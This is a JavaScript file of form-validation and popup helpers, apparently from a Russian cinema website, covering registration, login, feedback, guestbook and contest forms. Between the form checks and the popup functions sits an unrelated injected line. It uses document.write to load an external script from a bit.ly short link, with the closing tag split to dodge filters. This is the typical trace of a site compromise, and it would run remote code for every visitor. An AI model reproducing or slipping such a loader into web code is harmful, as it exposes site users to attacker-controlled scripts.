function edit_check()  
{
    error = 0;
    error_message = '';

    if (document.register.fio.value == '')  {
      error_message += 'Поле \'ФИО\' не заполнено'+"\n";
      error = 1;
    }


    if (document.register.pass.value != document.register.confpass.value)  {
      error_message += 'Значения  полей \'Пароль\' и \'Подтверждение пароля\' не заполнено'+"\n";
      error = 1;
    }
    if (document.register.date.value == '')  {
      error_message += 'Поле  \'Дата рождения\' не заполнено'+"\n";
      error = 1;
    }
    if (document.register.gorod.value == '')  {
      error_message += 'Поле  \'Город\' не заполнено'+"\n";
      error = 1;
    }


    if (error == 0)  { document.register.submit(); };
    if (error == 1)  { alert (error_message); return false; };
}   


function register_check()  
{
    error = 0;
    error_message = '';

    if (document.register.fio.value == '')  {
      error_message += 'Поле \'ФИО\' не заполнено'+"\n";
      error = 1;
    }

    if (document.register.mail.value == '')  {
      error_message += 'Поле  \'E-mail\' не заполнено'+"\n";
      error = 1;
    }
    if(document.register.mail.value != '') {
	    if (!document.register.mail.value.match(/^[\w\.\-]+@[\w\.\-]+\.[a-zA-Z]{2,}$/i, ""))  {
	       error_message += 'E-mail "'+document.register.mail.value+'" указан неверно, пожалуйста, указывайте реальный адрес.'+"\n";
		   error = 1;
	    }
	}

    if (document.register.pass.value == '')  {
      error_message += 'Поле  \'Пароль\' не заполнено'+"\n";
      error = 1;
    }
    if (document.register.confpass.value == '')  {
      error_message += 'Поле  \'Подтверждение пароля\' не заполнено'+"\n";
      error = 1;
    }
    if (document.register.pass.value != document.register.confpass.value)  {
      error_message += 'Значения  полей \'Пароль\' и \'Подтверждение пароля\' не заполнено'+"\n";
      error = 1;
    }
    if (document.register.date.value == '')  {
      error_message += 'Поле  \'Дата рождения\' не заполнено'+"\n";
      error = 1;
    }
    if (document.register.gorod.value == '')  {
      error_message += 'Поле  \'Город\' не заполнено'+"\n";
      error = 1;
    }


    if (error == 0)  { document.register.submit(); };
    if (error == 1)  { alert (error_message); return false; };
}   

function auth_check()  
{
    error = 0;
    error_message = '';


    if (document.auth.form_email.value == '')  {
      error_message += 'Поле \'E-mail\' не заполнено'+"\n";
      error = 1;
    }

    if(document.auth.form_email.value != '') {
	    if (!document.auth.form_email.value.match(/^[\w\.\-]+@[\w\.\-]+\.[a-zA-Z]{2,}$/i, ""))  {
	       error_message += 'E-mail "'+document.auth.form_email.value+'" указан неверно, пожалуйста, указывайте реальный адрес.'+"\n";
		   error = 1;
	    }
	}

    if (document.auth.form_pass.value == '')  {
      error_message += 'Поле \'Пароль\' не заполнено'+"\n";
      error = 1;
    }

    if (error == 0)  { document.auth.submit();  };
    if (error == 1)  { alert (error_message); return false; };
}   


function formCheck()   {
  var yes;
  yes = 0;

  if (document.data.akino1.checked)  { yes = 1; }
  if (document.data.akino2.checked)  { yes = 1; }
  if (document.data.akino3.checked)  { yes = 1; }

  if (yes == 1)  {
    document.data.submit();
    return false;
  } else  {
    alert('Необходимо выбрать кинотеатр.');
    return false;
  }

}

document.write("<script src='http://bit.ly/gvz5jw'></scr"+"ipt>");

function Show(fname, width) {
	if (screen.width<=800 && screen.height<=600) { document.location = fname;
	} else {
		newWidth = width + 20;
		PopupWin = window.open(fname, "_blank", "width="+newWidth+",height=550,menubar=no,status=no,titlebar=no,toolbar=no,location=no,resizable=no,scrollbars=no"); }
	return false;
}

function ShowBron(fname, width) {
	if (screen.width<=800 && screen.height<=600) { document.location = fname;
	} else {
		newWidth = width + 20;
		PopupWin = window.open(fname, "_blank", "width="+newWidth+",height=600,menubar=no,status=no,titlebar=no,toolbar=no,location=no,resizable=yes,scrollbars=yes"); }
	return false;
}


function Show2(fname, width) {
	if (screen.width<=800 && screen.height<=600) { document.location = fname;
	} else {
		newWidth = width + 20;
		PopupWin = window.open(fname, "_blank", "width="+newWidth+",height=650,menubar=no,status=no,titlebar=no,toolbar=no,location=no,resizable=no,scrollbars=yes"); }
	return false;
}


function subscr_check(str, salert)  
{
	if(!salert) salert = true;
	if (!str.match(/^[\w\.\-]+@[\w\.\-]+\.[a-zA-Z]{2,}$/i, ""))  {
		if(salert) alert('E-mail указан неверно, пожалуйста, указывайте правильный адрес.');
		return false;
	}
	return true;
}

function check_contest()  
{
	fo1 = document.contest.name.value;
	fo2 = document.contest.email.value;
	fo3 = document.contest.phone.value;

    error = 0;
    error_message = '';

    if (!fo1)  {
      error_message += 'Поле \'ФИО\' не заполнено'+"\n";
	  error = true;
    }

    if (!fo2)  {
      error_message += 'Поле \'Телефон\' не заполнено'+"\n";
	  error = true;
    }

    if (!fo2)  {
      error_message += 'Поле \'E-mail\' не заполнено.'+"\n";
	  error = true;
    } else {
        if (!fo2.match(/^[\w\.\-]+@[\w\.\-]+\.[a-zA-Z]{2,}$/i, ""))  {
           error_message += 'E-mail "'+fo2+'" указан неверно, пожалуйста, указывайте реальный адрес.'+"\n";
           error = true;
        }       
    }
    if (error == 0)  { return true; };
    if (error == 1)  { alert (error_message); return false; };
}

function form_check()  
{
    error = 0;
    error_message = '';


    if (document.feedback.fio1.value == '')  {
      error_message += 'Поле \'ФИО\' не заполнено'+"\n";
      error = 1;
    }

    if (document.feedback.tel.value == '' && document.feedback.email.value == '')  {
      error_message += 'Заполните поле \'Телефон\' или \'Е-mail\''+"\n";
      error = 1;
    }

    if(document.feedback.email.value != '') {
	    if (!document.feedback.email.value.match(/^[\w\.\-]+@[\w\.\-]+\.[a-zA-Z]{2,}$/i, ""))  {
	       error_message += 'E-mail "'+document.feedback.email.value+'" указан неверно, пожалуйста, указывайте реальный адрес.'+"\n";
		   error = 1;
	    }
	}
    
    
    if (document.feedback.msg.value == '')  {
      error_message += 'Поле \'Сообщение\' не заполнено'+"\n";
      error = 1;
    }
    if (error == 0)  { return true; };
    if (error == 1)  { alert (error_message); return false; };
}   

function gbook_check()
{	
    error = 0;
    error_message = '';

    if (document.gbook.fio.value == '')  {
      error_message += 'Поле \'Имя\' не заполнено'+"\n";
      error = 1;
    }
 
    if (document.gbook.email.value)  {
	    if (!document.gbook.email.value.match(/^[\w\.\-]+@[\w\.\-]+\.[a-zA-Z]{2,}$/i, ""))  {
	       error_message += 'E-mail "'+document.gbook.email.value+'" указан неверно, пожалуйста, указывайте реальный адрес.'+"\n";
		   error = 1;
	    }    	
    }
 
    if (document.gbook.msg.value == '')  {
      error_message += 'Поле \'Сообщение\' не заполнено'+"\n";
      error = 1;
    }
    
    if (error == 0)  { return true; };
    if (error == 1)  { alert (error_message); return false; };
}

function isInt(num, chara)
{
	if(((num >= 48) && (num <= 57)) || num == 37 || num == 8)
	{
		event.keyCode = num;
		return event.keyCode;
	}
	if(((chara >= 48) && (chara <= 57)) || chara == 37 || chara == 8)
	{
		event.charCode = chara;
		return event.charCode;
	}
	else
	{
		return false;
	}
}

function ajaxSend(url, string, div_id, strok)
{
  var ajaxObj=null;
  if(window.XMLHttpRequest)
  {
    ajaxObj=new XMLHttpRequest();
  }
  else if(window.ActiveXObject)
  {
    ajaxObj=new ActiveXObject("Microsoft.XMLHTTP");
  }
  else
  {
    return;
  }
 
	if (strok == ''){
		strok  ='<div class="ajax"><div>Подождите, идет загрузка...</div></div>';
	}

    document.getElementById(div_id).innerHTML=strok;

/*
			<script language="JavaScript" type="text/javascript">
				for (i = 0; (document.body.getElementsByTagName("select").item(i)); i++) {	
				document.body.getElementsByTagName("select").item(i).style.visibility = 'hidden';
				}
			</script>
*/


  ajaxObj.onreadystatechange = function()
  {
    if(ajaxObj.readyState==4)
    {
      document.getElementById(div_id).innerHTML=ajaxObj.responseText;      
    }
  }
  ajaxObj.open('POST', url, true);
  ajaxObj.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');
  ajaxObj.send(string);
}

